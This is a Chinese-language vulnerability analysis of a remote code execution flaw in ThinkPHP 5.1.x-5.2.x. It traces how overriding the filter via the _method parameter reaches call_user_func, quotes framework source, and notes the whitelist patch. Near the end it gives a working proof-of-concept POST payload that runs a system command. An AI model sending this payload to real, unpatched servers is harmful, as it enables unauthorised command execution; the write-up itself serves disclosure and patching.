ThinkPHP 5.1.x-5.2.x全版本RCE 漏洞分析

ThinkPHP 5.1.x-5.2.x全版本RCE 漏洞分析

影响范围

5.1.x-5.1.32 5.2.x(这个还没去看)

漏洞复现

补丁: https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6

测试环境 5.1.29

入口处关闭报错

image283

和5.0.x版本的漏洞有着相似之处,都是$this->method方法未过滤导致的任意变量覆盖,从而导致命令执行

通过$_POST['_method']=xxxxx来进行任意变量覆盖

我们选择覆盖$this->filter,翻找Request类中的函数发现还是Request::input处可以命令执行,下断点可以看到调用堆栈

image527

我们从Request::param处开始分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

...
}

因为是POST请求所以会进入POST分支,跟进Request::post

1
2
3
4
5
6
7
8
public function post($name = '', $default = null, $filter = '')
{
if (empty($this->post)) {
$this->post = !empty($_POST) ? $_POST : $this->getInputData($this->input);
}

return $this->input($this->post, $name, $default, $filter);
}

接着便会调用Request::input,其中$this->post$filter可控

跟进Request::input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function input($data = [], $name = '', $default = null, $filter = '')
{
...

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}

...
}

因为$data是数组($_POST),调用array_walk_recursive($data, [$this, 'filterValue'], $filter);

$data中所有值调用Request::filterValue

跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}

return $value;
}

阅读代码可知,filterValue会对$_POST中所有值调用$filter中每一个可以调用的函数或方法

$filter=$_POST

因此有

1
2
http://127.0.0.1/public/
POST: var1=exec&var2=calc.exe&_method=filter

补丁分析

对method进行了白名单限制

参考

https://www.smi1e.top/thinkphp-5-1-x5-2-x全版本-rce-漏洞分析/